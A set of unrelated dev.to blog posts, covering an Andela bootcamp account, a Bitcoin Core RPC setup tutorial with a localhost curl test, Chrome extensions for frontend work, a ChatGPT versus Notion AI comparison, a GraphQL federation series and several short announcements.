The ATLP(Andela Technical Leadership Program) is a 9 month bootcamp for university graduates who want...
0
2023-02-22T16:38:10
https://dev.to/rukundokevin/my-atlp-journey-58o7
career, webdev, javascript, rwanda
The ATLP(Andela Technical Leadership Program) is a 9 month bootcamp for university graduates who want to get into coding in Rwanda. In this blog, I'll be sharing my experiences surrounding the program and some tips that will hopefully help you gain some insight into it. ![ATLP IMAGE](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/cx8ktbwly5cxauvje33z.png) **Elibility** - You have to be residing in Rwanda during the whole bootcamp. - Willing to commit 30 Hours per week (6 hours per day) * The Application process* Applications to ATLP opens once a year - in October to November. You'll get 2 weeks to submit your application. **Step 1: Complete the application form** The first step is to complete the application form which is usually on GlassDoor, which I did in October, 2021. **Complete the technical assessment** After completing the application you're required to complete a technical assessment on HackerRank which test your problem solving capabilities with question in HTML, CSS, JS and logic. I completed the assessment and my codes passed all the tests. I was given a simple project to complete before the interview. **The Technical Interview** If you pass the technical assessment you are invited to an interview. During my interview, I was asked about how I developed the project I was given and given a challenge which I also did. After a week after completing the interview I received the acceptance email which was delightful. ![ATLP acceptance email](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/klhjz9zn3z53s7xe530x.png). **My Experience ✨** After being accepted, we were onboarded and given the timeline of the program. The bootcamp was to be divided into 3 sections. - **Core Concepts** (2 month): Where trainees would learn basic web technologies, version control and best practices. - **Team Projects** (3 month ): Where trainees who were able to progress from the previous phase, would collaborate to develop a project using PERN(PostgreSQL, Express, React and NodeJS) stack. - **Apprenticeship** (3 Month ): Lastly, progressed trainees would be assigned to local and international companies for internship. **1. Core Concepts** We started core concepts where we learnt using Figma, Trello, Git and GitHub but I was lucky because I was already familiar with everything so it was easy for to progress to the next phase. We were required to build a personal website using the skills we have acquired which can be found [here](http://www.rukundokevin.codes). **2. Team Projects** In the second phase I collaborated with 4 other trainees to build accommodation booking website using PERN Stack. During this phase I knew some of the things but It was my first time collaborating with a lot of people so it was challenging but luckily our Manager and Team Lead were helpful and helped us. All 5 of us progressed to the next phase. **3. Apprenticeship** After team projects, I was placed on an internal project because I was student and couldn't be assigned to external company. I was onboarded on the projects trainees from other cohorts were working on, a website for education institutions to record and track student or trainee performance called DevPulse(https://metron-devpulse.vercel.app ). During this phase I when I met the real challenge as we were using GraphQl, TypeScript, Nexus most of which I was unfamiliar with. But with the help from fellow trainees and Manager I was able to familiarize myself with different tools and concepts and finished the last phase. Thank you for reading! I hope this was worth your time and provided you with useful insights. Please feel free to reach to me if you have any queries (or if you'd simply like to connect!) via [LinkedIn](https://www.linkedin.com/in/rukundokevin). I'll be happy to help! Good luck!
rukundokevin
1,375,604
How to setup an RPC API for a Blockchain Node
Getting started with setting up your own RPC interface to interact with blockchain nodes.
0
2023-02-22T23:10:30
https://magitek.dev/articles/2023-02-22-how-to-setup-an-rpc-api-for-a-blockchain-node/
api, rpc, bitcoin, blockchain
--- title: How to setup an RPC API for a Blockchain Node published: true description: Getting started with setting up your own RPC interface to interact with blockchain nodes. tags: API, RPC, Bitcoin, Blockchain canonical_url: https://magitek.dev/articles/2023-02-22-how-to-setup-an-rpc-api-for-a-blockchain-node/ cover_image: https://dev-to-uploads.s3.amazonaws.com/uploads/articles/nh7p0yyu606vlvnws5os.png # Use a ratio of 100:42 for best results. # published_at: 2023-02-22 16:53 +0000 --- RPC (Remote Procedure Call) is a protocol that allows a program to execute code on a remote server. Many blockchain nodes include an RPC interface that allows you to interact with your node programmatically. In this tutorial, using Bitcoin, we will walk through the steps required to setup and interact with an RPC interface for your node. ## Prerequisites: Before we get started, you'll need to have a Bitcoin node installed on your computer or server. You should also have a basic understanding of how to use the command line. If you're not familiar with the command line, you may want to do some additional research before proceeding. ## Step 1: Install Bitcoin Core The first step is to download and install Bitcoin Core on your computer. You can download Bitcoin Core from the official website (https://bitcoincore.org/en/download/). Once you've downloaded the software, follow the installation instructions for your operating system. > Note: It can take a variable amount of time (hours or days) to sync your node to the blockchain network before you can use all the methods the RPC interface provides. ![Bitcore Node Wallet](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/gji068d5ifz3kzi1m2dj.png) It is recommended to use the [testnet environment](https://developer.bitcoin.org/examples/testing.html) for experimenting with the blockchain in development before creating a production node for real world use. If you need Bitcoin to test transactions with, you can make use of this or similar faucets: [https://kuttler.eu/en/bitcoin/btc/faucet/](https://kuttler.eu/en/bitcoin/btc/faucet/). ## Step 2: Configure Bitcoin Core Once you've installed Bitcoin Core, you need to configure it to enable the RPC interface. To do this, you'll need to create a `bitcoin.conf` file in the Bitcoin data directory. On Linux/MacOS, you can create the file by running the following command: ``` nano ~/.bitcoin/bitcoin.conf ``` On Windows, you can create the file by navigating to the Bitcoin data directory (usually located in `%APPDATA%\Bitcoin`) and creating a new file called `bitcoin.conf`. ## Step 3: Configure the RPC interface In the bitcoin.conf file, add the following lines to enable the RPC interface: ``` server=1 rpcuser=<username> rpcpassword=<password> rpcallowip=<IP address or subnet> ``` Replace <username> and <password> with your own username and password, respectively. These will be used to authenticate the RPC connection. If you want to use testnet instead of a production node, you can add the following line: ``` testnet=1 ``` Replace <IP address or subnet> with the IP address or subnet that you want to allow to access the RPC interface. You can specify a single IP address or a subnet in CIDR notation (e.g. 192.168.0.0/16). This is more important when you want to access the RPC interface between a client and server. If you are doing this locally, you may be able to skip this step or set it to: ``` rpcallowip=127.0.0.1 rpcport=8332 ``` ## Step 4: Test the RPC interface Now that the RPC interface is set up, you can use it to interact with your Bitcoin node programmatically. You will need to restart Bitcoin Core for the changes you have made to take effect. Once restarted, you can test it by running the following command in the terminal: ``` bitcoin-cli getblockcount ``` If you run into issues using `bitcoin-cli` in the terminal, see the documentation [here](https://developer.bitcoin.org/examples/intro.html), or you can run a curl command as follows: ``` curl --user <username>:<password> --data-binary '{"jsonrpc": "1.0", "id":"curltest", "method": "getblockcount", "params": [] }' -H 'content-type: text/plain;' http://127.0.0.1:8332/ ``` If everything is set up correctly, you should see the current block count of your Bitcoin node. ## Conclusion: That's it! You now have an RPC interface set up for your Bitcoin node. You can use the RPC interface to interact with your node programmatically and build Bitcoin applications. --- For a full RPC API reference, see: [RPC API Reference — Bitcoin](https://developer.bitcoin.org/reference/rpc/) You can use a generator like [Bitcoin Core Config Generator](https://jlopp.github.io/bitcoin-core-config-generator/) to create a bitcoin.conf for yourself. --- If you found this helpful or useful, please share a 💓, 🦄, or 🔖. Thanks!
mmcshinsky
1,375,745
Top Chrome Extensions Every Frontend Developer Should Use 💡💻🔧
Introduction: As a frontend developer, using the right tools is essential for improving productivity...
0
2023-02-22T19:53:23
https://dev.to/ayoubkhan558/top-chrome-extensions-every-frontend-developer-should-use-96o
Introduction: As a frontend developer, using the right tools is essential for improving productivity and delivering high-quality work. Chrome extensions can be incredibly helpful in this regard, providing a range of features that can streamline your workflow, optimize your code, and improve your overall development experience. In this thread, we've highlighted some of the best Chrome extensions for frontend developers, which can help you build better websites and applications faster and more efficiently. #1. Lighthouse Audits your web pages for performance, accessibility, and best practices. 💻🚀 Get it from https://chrome.google.com/webstore/detail/lighthouse/blipmdconlkpinefehnmjammfjpmpbjk #2. JSON Viewer ![Image description](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/8ygslvbzlyl7d22i8k6p.png) Makes JSON data easier to read and debug by formatting it in a tree structure. 🔍💡 Get it from https://chrome.google.com/webstore/detail/json-viewer/gbmdgpbipfallnflgajpaliibnhdgobh #3. React Developer Tools ![Image description](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/8efcvalweh9u8vyio75f.png) Allows you to inspect the React component hierarchy and see their props, state, and more. 🔍💡 Get it from https://chrome.google.com/webstore/detail/react-developer-tools/fmkadmapgofadopljbjfkapdkoienihi #4. Axios Dev Tools Makes it easy to debug Axios API requests and responses. 🔧💻 Get it from https://chrome.google.com/webstore/detail/axios-dev-tools/cffnfgppjihohebhicijihlhnpkpjifd #5. CSS Peeper ![Image description](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/vfg2ovli3wfg2y7v5485.png) Inspect and copy any CSS styles from a website with just one click. 🔍🎨 Get it from https://chrome.google.com/webstore/detail/css-peeper/mbnbehikldjhnfehhnaidhjhoofhpehk #6. Fontface Ninja ![Image description](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/p9yqaac6dh30ma7ws59d.png) Allows you to identify the fonts used on any website with ease. 🔍🎨 Get it from https://chrome.google.com/webstore/detail/fonts-ninja/eljapbgkmlngdpckoiiibecpemleclhh #8. Wappalyzer ![Image description](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/bmxe3edvym503uvrcx2t.png) Reveals the technologies used on a website, including the CMS, e-commerce platform, and more. 🔍💻 Get it from https://chrome.google.com/webstore/detail/wappalyzer/gppongmhjkpfnbhagpmjfkannfbllamg These are just a few of the best #ChromeExtensions for frontend development. Which ones do you use and love? 💻🔧 #WebDevelopment #FrontendTools 💻🔧
ayoubkhan558
1,375,832
Chat GPT 🆚 Notion AI (Introduction)
🤼 Today, I will start a new series of articles comparing two AI models in both functional and...
22,357
2023-03-26T08:00:00
https://dev.to/dealwith/chat-gpt-notion-ai-introduction-1kab
chatgpt, notionai, ai, notion
🤼 Today, I will start a new series of articles comparing two AI models in both functional and usability ways, ChatGPT-4 and Notion AI, in the day-to-day task to understand how they perform in different tasks. At the end of each article, we will have a score and, at the end of the series, a summary table for all tasks provided. The "Introduction article" will compare usage, prices, and limitations. Overview 📋: --- - [Usage 🎒](#usage) - [Language support 👅](#language-support) - [Prices and limitations 🏷️](#prices-and-limitations) - [Summary 🏁](#summary) ## Usage Regarding usage, you can use Notion AI on whatever device you have the notion application, is desktop, web, or mobile, while Chat GPT is a web-based solution. Chat GPT is the solution to go and ask, while in Notion AI, we have a list of predefined things and suggestions to work with the text and page you already have in your working space. ![Notion AI features](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/taxurg4r1e77e1jfmh6u.jpg) ## Language support 💬 **ChatGPT** supports a wide variety of languages which is 25 languages: English, Spanish, French, German, Italian, Portuguese, Dutch, Russian, Chinese (Simplified and Traditional), Japanese, Korean, Arabic, Turkish, Danish, Swedish, Norwegian, Finnish, Polish, Czech, Hungarian, Greek, Hebrew, Thai, Indonesian, and Vietnamese. It's really helpful when it comes to the usage for translating something, especially if you're doing a multilanguage website, which is easy with current machine translations and can bring more customers to your website. 🤖 **Notion AI** supports 13 languages: English, Korean, Chinese, Japanese, Spanish, Russian, French, Portuguese, German, Italian, Dutch, Indonesian, Filipino, and Vietnamese. This is also not a bad result, I would say, because I guess Notion AI have less experience and data to support more languages, but 13 is still a good amount! ## Prices and limitations ChatGPT is ***20 dollars per month***, while Notion AI is ***8 dollars per month***, paid annually. What is a big plus is that Notion AI is already included in your favourite tool and seamlessly integrated into your system, but if you're not so much into Notion, it can become one more; to use instead of just jumping and using the responses of the chat. If you're located in Belarus, Russia, or some other countries under sanctions, it can be easier to use Notion AI because it doesn't require a VPN to use the AI. ## Summary At the end of this article, I can say that both tools got the same score so this fight wouldn't be easy! | | ChatGPT | Notion AI | |:-----------------------|:-------:|:---------:| | Usage | 🥇 | 🥇 | | Language support | 🥇 | 🥈 | | Prices and limitations | 🥈 | 🥇 | Cover design by [Julia Mazur](https://www.behance.net/jumazur?tracking_source=search_users|julia%20mazur) Tools used: - [Notion](https://affiliate.notion.so/y7zb9kqleznk) - [OneMarkdown](https://apps.apple.com/us/app/one-markdown/id1507139439) - [ChatGPT](https://chat.openai.com)
dealwith
1,375,934
New Programmers, What Challenges Are You Facing?
It can be tough to navigate the world of coding, especially when you're a newbie. Figuring out where...
22,092
2023-02-22T22:34:05
https://dev.to/codenewbieteam/new-programmers-what-challenges-are-you-facing-45k9
discuss, beginners, codenewbie
It can be tough to navigate the world of coding, especially when you're a newbie. Figuring out where to start, dealing with imposter syndrome, and feeling overwhelmed by the amount of information out there. It’s...A LOT. But you're not alone! Let’s hear from those of you who are just starting out: what are your challenges? And for those of you who’ve made it (are making it): what tips can you share?
ben
1,376,219
Criando uma api em shelf com socket + app com provider e bloc
Fala pessoal! Resolvi trocar o medium pelo dev.to, simplesmente pelo fato dele ser free e não impedir...
0
2023-02-23T04:48:02
https://dev.to/brasizza/criando-uma-api-em-shelf-com-socket-app-com-provider-e-bloc-2g64
dart, flutter, bloc, shelf
Fala pessoal! Resolvi trocar o medium pelo dev.to, simplesmente pelo fato dele ser free e não impedir a galera de ver somente alguns posts por mês! --- Vamos para o post em Sí! Farei uma série de alguns artigos que irão consistir em: Faremos uma api simulando um sistema de delivery (rappi/ifood) onde o endpoint vai salvar o pedido, recuperar um pedido por id, todos e deletar o pedido por id e finalmente alterar o pedido (teoricamente o status) 1. Criação de uma API simples Restfull (GET/POST/DELETE/PUT) , vou usar o PUT para editar também pra ficar mais fácil e testaremos tudo via POSTMAN 2. Criação de um aplicativo simples para consumir essa api (Tentarei fazer um drag/drop) todo estilizado com provider e cubit (Se Deus quiser!) 3. Modificação dessa API para integrar um servidor socket embutido emitindo cada um dos métodos pertinentes (POST/DELETE) 4. Modificação do nosso APP para escutar o socket e fazer as alterações em tempo real. Então fiquem ligados aqui que logo mais teremos a saga completa separada de como criar tudo passo a passo! E colocarei os links em ordem aqui também abaixo a medida que for desenvolvendo! [Parte 1](https://dev.to/brasizza/criacao-de-uma-api-em-shelf-3c29)
brasizza
1,376,307
Vamosys gps
FleetOS Derive maximum efficiency, increase your fleet size. A new-gen 360-degree fleet management...
0
2023-02-23T07:01:45
https://dev.to/6dof_studio/vamosys-gps-h97
fuelmonitoringsolution, fueltheft, drivertracking, gps
[FleetOS ](https://vamosys.com/fleetos-fms-fleet-management-systems)Derive maximum efficiency, increase your fleet size. A new-gen 360-degree fleet management system to support your growth in fleet business.
6dof_studio
1,376,354
High Concurrency of Thread Pools
Availability This feature is available since openGauss 1.0.0. Introduction The thread pooling...
0
2023-02-23T07:22:42
https://dev.to/liyang0608/high-concurrency-of-thread-pools-4m19
opengauss
Availability This feature is available since openGauss 1.0.0. Introduction The thread pooling technology is used to support stable running of databases at high concurrency. Benefits The overall system throughput is stable in case of a large number of concurrent requests. Description The overall design idea of the thread pool technology is to pool thread resources and reuse them among different connections. After the system is started, a fixed number of working threads are started based on the current number of cores or user configuration. A working thread serves one or more connection sessions. In this way, the session and thread are decoupled. The number of worker threads is fixed. Therefore, frequent thread switchover does not occur in case of high concurrency. The database layer schedules and manages sessions. Enhancements This feature is available since openGauss 1.0.0. In openGauss 1.1.0, thread pools can be dynamically scaled in or out. Constraints None Dependencies None
liyang0608
1,376,382
A Fun Programming Joke To Start Your Day
Check out today's daily developer joke! (a project by Fred Adams at xtrp.io)
4,070
2023-02-23T08:00:08
https://dev.to/dailydeveloperjokes/a-fun-programming-joke-to-start-your-day-23co
jokes, dailydeveloperjokes
--- title: "A Fun Programming Joke To Start Your Day" description: "Check out today's daily developer joke! (a project by Fred Adams at xtrp.io)" series: "Daily Developer Jokes" published: true tags: #jokes, #dailydeveloperjokes --- Hi there! Here's today's Daily Developer Joke. We hope you enjoy it; it's a good one. ![Joke Image](https://private.xtrp.io/projects/DailyDeveloperJokes/public_image_server/images/5e1258884db70.png) --- For more jokes, and to submit your own joke to get featured, check out the [Daily Developer Jokes Website](https://dailydeveloperjokes.github.io/). We're also open sourced, so feel free to view [our GitHub Profile](https://github.com/dailydeveloperjokes). ### Leave this post a ❤️ if you liked today's joke, and stay tuned for tomorrow's joke too! _This joke comes from [Dad-Jokes GitHub Repo by Wes Bos](https://github.com/wesbos/dad-jokes) (thank you!), whose owner has given me permission to use this joke with credit._ <!-- Joke text: ___Q:___ What do you call a busy waiter? ___A:___ A server. -->
dailydeveloperjokes
1,376,387
Apollo Federation Gateway Demo
Hi everyone welcome to my another brand new playlist in this playlist, we are going to talk about...
0
2023-02-23T08:09:19
https://dev.to/tkssharma/apollo-federation-gateway-demo-fal
graphql, apoll, nestjs, node
{% embed https://www.youtube.com/embed/Q29N6gvaFBE %} Hi everyone welcome to my another brand new playlist in this playlist, we are going to talk about graphical Federation which is a part of all about Node js microservices Playlist https://www.youtube.com/watch?v=hHpKy_n-Aag&list=PLIGDNOJWiL1918oR1DYgeOEe0cWwuDPCm Recently I have already covered Node JS microservices using REST API now I am going to cover Node JS microservices using graphql and here we are going to use all the concepts of graphical - how to build a graphql microservices in the nest js and how to use data loaders with how the data loaders are solving the query N + 1 one problem - we will also see how we can connect different subgraph through Apollo graphical Gateway and how can we use Apollo graphical Federation to talk to multiple microservices where gateway will expose unique centralize interface for queries and mutation Major topics of this playlist - Building Code First or schema first Graphql service in Nest JS - What is Graphql Federation and what problem it solves Graphql - What is the N+1 Query problem in Graphql and how Data loaders can help us to fix it. - Building Graphql service in Nest JS with TypeORM - Building Graphql service using apollo federation - We will build multiple graphql microservices and then we will compose all sub graphs using apollo gateway Connect different subgraphs services to Graphql Gateway Build end-to-end solution using graphql apollo federation {% embed https://www.youtube.com/embed/3kMDI8--PLc %} ### Long Story short In this playlist we will build backend having multiple microservices like - auth service - home manager service - booking manager service - apollo gateway service We will see how we can reference types from one service to another and how these types can be resolved from different services (that's what our graphql apollo federation will do) Stay tuned, i will be posting more videos on this playlist. Enjoy development
tkssharma
1,376,425
Why IT Field is famous in today’s generation?
The field of Information Technology (IT) has become one of the most popular and sought-after areas of...
0
2023-02-23T09:00:01
https://dev.to/sunitam39642629/why-it-field-is-famous-in-todays-generation-185c
webdev, technology, programming
The field of Information Technology (IT) has become one of the most popular and sought-after areas of study and employment for today's generation. The rise of IT can be attributed to several factors, including technological advancements, globalization, and the demand for skilled professionals in the digital age. Firstly, the rapid pace of technological innovation has made IT a necessary part of daily life. With the proliferation of computers, smart phones, and other digital devices, people have become increasingly reliant on technology to accomplish everyday tasks. As a result, there is a growing demand for individuals who possess the technical skills and expertise required to develop, manage, and maintain these technologies. There are many famous programming language like Best Java certification Course, Best Full Stack Development Course and software testing, medical coding etc. Moreover, globalization has played a significant role in the rise of the IT industry. As businesses and organizations continue to expand and operate in different parts of the world, there is a need for seamless communication and collaboration. IT enables people to connect and work together regardless of geographical boundaries. Cloud computing, video conferencing, and other digital tools have made it possible for companies to operate remotely and reduce costs associated with physical infrastructure. Additionally, the demand for skilled IT professionals is on the rise due to the increasing need for data security and privacy. With the rise of cybercrime and the threat of data breaches, organizations are more vigilant than ever about protecting their sensitive information. This has led to an increased demand for professionals with cyber security skills and expertise. Another factor contributing to the popularity of the IT field is the abundance of career opportunities available in this industry. The IT field is vast and diverse, offering a range of career paths for individuals with different interests and skills. Some of the most popular IT careers include software development, network engineering, cyber security, data analysis, and IT management. Furthermore, the IT industry is known for its lucrative salaries and job security. IT professionals are in high demand, and the salaries offered in this field are often higher than those in other industries. Additionally, the need for IT professionals is not likely to decrease anytime soon, as technology continues to advance and organizations rely more heavily on digital tools and platforms. Students for online course like Java Certification Course and Full Stack Development Course Lastly, the IT industry offers a dynamic and innovative work environment. IT professionals have the opportunity to work on cutting-edge technologies and projects that can have a significant impact on society. This field is constantly evolving, which means that there is always something new to learn and explore. This makes it an exciting and engaging field for individuals who enjoy challenges and innovation. In conclusion, the field of Information Technology has become famous in today's generation due to a combination of technological advancements, globalization, demand for data security and privacy, career opportunities, job security, and dynamic work environment. As technology continues to shape the world we live in, the need for skilled IT professionals will only continue to grow, making this an excellent field for individuals looking to build a rewarding and fulfilling career.
sunitam39642629